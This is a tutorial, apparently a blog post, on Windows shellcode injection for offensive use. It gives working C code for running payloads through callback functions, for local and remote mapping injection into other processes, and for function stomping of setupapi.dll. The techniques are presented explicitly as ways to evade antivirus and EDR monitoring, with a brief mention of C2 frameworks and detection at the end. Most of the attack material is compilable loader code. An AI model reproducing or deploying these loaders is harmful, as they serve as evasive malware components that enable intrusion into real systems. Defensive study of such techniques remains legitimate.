What We Are Going To Cover:
- Callback code execution.
- Local mapping injections.
- Remote mapping injection
- Local Function Stomping Injection
CallBack Function:
A callback function will be used to perform an action when a particular condition is met and satisfied. They are used in different ways in our Windows operating system, some of them are window management, event handling, and multithreading.
A callback function is basically code in an application which helps an unmanaged DLL to complete a task. Now this time, calls to the callback function are passed indirectly from our managed application from a DLL function.
ABUSING CALLBACK FUNCTION:
Windows callback functions will be called or will be executed via function pointer. To execute our payload, the address of the payload needs to be passed to the callback function pointer. Now the callback will replace the CreateThread WinAPI. We discussed a lot about APIs in previous blogs; you can check them out there. Basically, there is no need to pass proper parameters.
The main noticeable thing is that callback functions will only work in the local process; it cannot be performed via remote code injections.
SAMPLE OF CALLBACK:
CreateTimerQueueTimer's 3rd parameter
Here is the callback function proof of concept.
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // here
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);
**EnumChildWindows's 2nd parameter:**
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // here
[in] LPARAM lParam
);
EnumUILanguagesW's 1st parameter:
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // here
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);
VerifierEnumerateResource's 4th parameter:
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // here
PVOID EnumerationContext
);
Now the below section will talk about complete explanations of these functions. The payload which will be used as a sample will be stored in the .text section of the binary. This will allow our shellcode to get the required RX memory permission without the need to allocate executable memory using VirtualAlloc or any other similar function.
Using CreateTimerQueueTimer:
CreateTimerQueueTimer will create a new timer and then add it to a specified timer queue. Now the timer must be specified using a callback function. This is crucial for how the timer will expire. The callback function then executes the thread which is created by a timer queue.
Now the callback will be executed by the thread created by the timer queue.
Here is the snippet that will locate the Payload as our callback function.
HANDLE hTimer = NULL;
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
return -1;
}
Using EnumChildWindows:
EnumChildWindows will allow a program to enumerate child windows of a parent window. Now this time, it will take the parent window handle as input and applies a user-defined callback function to each child window one at a time.
Here is the snippet for code to locate the Payload as a callback function.
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
return -1;
}
Using EnumUILanguagesW:
EnumUILanguagesW will enumerate a user interface, also known as UI, that will be installed on the Windows system. It will take a callback function as a parameter and then applies the callback function to each UI, one at a time.
Here is the snippet again for the code to locate the Payload as our callback function:
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
return -1;
}
Using VerifierEnumerateResource:
VerifierEnumerateResource will now be utilized to enumerate resources in a specified module.
VerifierEnumerateResource will be exported from verifier.dll. That's the reason the module should be dynamically loaded using LoadLibrary and GetProcAddress WinAPI for access to the function.
Make sure if the ResourceType parameter is not equal to AvrfResourceHeapAllocation, then our payload will not run.
Here is the snippet:
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
// Must set the AvrfResourceHeapAllocation flag to run the payload
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);
Local Mapping Injections:
So far, all the models and techniques we learned were mostly focused on private memory used to store our payload while execution. Private memory allocation using VirtualAlloc or via VirtualAllocEx.
Mapped Memory:
The processes which we utilized in previous techniques were highly monitored by security solutions we called them AVs or EDRs. To avoid this common issue, mapping injection will be used as a mapped memory type using different APIs like CreateFileMapping or MapViewOfFile.
Local Mapping Injection:
Now this section will explain the WinAPIs which will be required to perform local mapping injection.
CreateFileMapping:
CreateFileMapping will create a file mapping object that will give access to the content of the file from memory mapping technique.
It will allow a process to create a virtual memory space. And the function will return a handle to the file mapping object.
Now the important parameters which we use in this technique will be explained here.
HANDLE CreateFileMappingA(
[in] HANDLE hFile,
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // Not Required - NULL
[in] DWORD flProtect,
[in] DWORD dwMaximumSizeHigh, // Not Required - NULL
[in] DWORD dwMaximumSizeLow,
[in, optional] LPCSTR lpName // Not Required - NULL
);
- hFile: it will be a handle for a file from which to create a file mapping handle.
INVALID_HANDLE_VALUE flag can be used.
MapViewOfFile:
MapViewOfFile maps a view of a file mapping object into the base address space of a process. It will take a handle to the file mapping object and then desired access rights, and will return a pointer to the beginning of the mapping process.
Code:
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject,
[in] DWORD dwDesiredAccess,
[in] DWORD dwFileOffsetHigh, // Not Required - NULL
[in] DWORD dwFileOffsetLow, // Not Required - NULL
[in] SIZE_T dwNumberOfBytesToMap
);
The important parameters which are utilized in this technique are explained here:
- hFileMappingObject: will return a handle from CreateFileMapping
- dwDesiredAccess: it's a type of access to the file mapping object.
- FILE_MAP_WRITE: will be flags to return valid executable and writable memory.
- dwNumberOfBytesToMap: will be the size of the payload.
Local Mapping Injection Function:
LocalMapInject is a function that will perform local mapping injection.
- pPayload: will be our base address.
- sPayloadSize: is the size of the payload
- ppAddress: a pointer to PVOID that will receive the mapped memory address.
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapAddress = NULL;
// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
if (pMapAddress == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Copying the payload to the mapped memory
memcpy(pMapAddress, pPayload, sPayloadSize);
_EndOfFunction:
*ppAddress = pMapAddress;
if (hFile)
CloseHandle(hFile);
return bSTATE;
}
UnmapViewOfFile:
UnmapViewOfFile is a WinAPI that is used to unmap previously mapped memory.
REMOTE MAPPING INJECTION:
This time the approach is the same, but we will utilize a remote process.
Remote Mapping Injection:
Let me first explain the important APIs which we will utilize in our code.
CreateFileMapping will be called to create a file mapping object.
MapViewOfFile will be utilized then to map the file mapping object into the local process address space.
Then the payload will be moved to locally allocated memory.
Then a new view of the file will be mapped into the remote address space of the target process.
MapViewOfFile2
MapViewOfFile2 maps a view of a file into the address space:
PVOID MapViewOfFile2(
[in] HANDLE FileMappingHandle, // Handle to the file mapping object returned by CreateFileMappingA/W
[in] HANDLE ProcessHandle, // Target process handle
[in] ULONG64 Offset, // Not required - NULL
[in, optional] PVOID BaseAddress, // Not required - NULL
[in] SIZE_T ViewSize, // Not required - NULL
[in] ULONG AllocationType, // Not required - NULL
[in] ULONG PageProtection // The desired page protection.
);
- FileMappingHandle: is a HANDLE to a section that is to be mapped into the address of a specified process.
- ProcessHandle: is a HANDLE to a process into which the section will be mapped. Must have the PROCESS_VM_OPERATION access mask.
- PageProtection: The desired page protection.
Remote Mapping Injection Function
- RemoteMapInject is a function that performs remote mapping injection. It takes 4 arguments:
- hProcess: a handle to the target process.
- pPayload: will be the payload's base address.
- sPayloadSize: is the size of the payload.
- ppAddress: pointer to PVOID that receives the mapped memory's base address.
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
BOOL bSTATE = TRUE;
HANDLE hFile = NULL;
PVOID pMapLocalAddress = NULL,
pMapRemoteAddress = NULL;
// Create a file mapping handle with RWX memory permissions
// This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
if (hFile == NULL) {
printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Maps the view of the payload to the memory
pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
if (pMapLocalAddress == NULL) {
printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Copying the payload to the mapped memory
memcpy(pMapLocalAddress, pPayload, sPayloadSize);
// Maps the payload to a new remote buffer in the target process
pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
if (pMapRemoteAddress == NULL) {
printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);
_EndOfFunction:
*ppAddress = pMapRemoteAddress;
if (hFile)
CloseHandle(hFile);
return bSTATE;
}
UnmapViewOfFile
Recall that UnmapViewOfFile only takes the base address of the mapped view of a file that is to be unmapped.
Local Function Stomping Injection:
In this method, we will see a new technique.
Function Stomping:
Here the word "stomping" shows overwriting, or in simple words, replacing the memory function.
Basically, function stomping is a way in which the original function bytes will be replaced with new code.
Using The Stomped Function:
When the bytes are replaced with the payload, the function will not be utilized anymore unless it's specifically for payload execution.
Local Function Stomping Code:
Now the code which is presented below will target the function SetupScanFileQueueA. It's a completely random function. If it will be overwritten, the function is exported from Setupapi.dll. So the first step will be to load Setupapi.dll into local process memory. We will utilize LoadLibraryA.
After this, our next step is to stomp the function and then replace it with the payload. Make sure the function will be overwritten by marking its memory region as readable and writable. And then the payload will be written to the function address, and then VirtualProtect will be utilized again to mark the region as executable (RX).
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
// ...
BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
DWORD dwOldProtection = 0;
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
PVOID pAddress = NULL;
HMODULE hModule = NULL;
HANDLE hThread = NULL;
printf("[#] Press <Enter> To Load \"%s\" ... ", SACRIFICIAL_DLL);
getchar();
printf("[i] Loading ... ");
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Inserting DLL into a Binary:
Instead of calling a DLL using a simple approach LoadLibrary and then retrieving the target function address with GetProcAddress, it's also possible to statically link the DLL in a binary using the pragma comment compiler.
#pragma comment (lib, "Setupapi.lib")
The target function will now be retrieved using the address-of operator like &SetupScanFileQueueA.
Here is the code:
#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table
// ...
int main() {
HANDLE hThread = NULL;
printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
This type of technique is not just a proof of concept and is very important via theoretical plus practical. These methods play important roles in both offensive approach and defensive approach.
I will list down a few famous C2 frameworks and other tools which utilize these concepts:
One of them which we all know is Cobalt Strike, then Meterpreter and SilverC2.
And we all know these things are used to bypass or manipulate the AVs.
Let's see the common issues and detection for C2 frameworks:
- Network traffic analysis: the security teams and EDRs will monitor the network for unusual behavior.
- Behavior detection: most of the EDRs now red-flag the APIs which are normally used by new hackers or pen testers who are getting started with C2 framework games.
- Now in new and advanced industry, they use honeypots for the hackers.
- At the last, how can I forget the myth of detections of log systems: what's happening, who enters, who exits.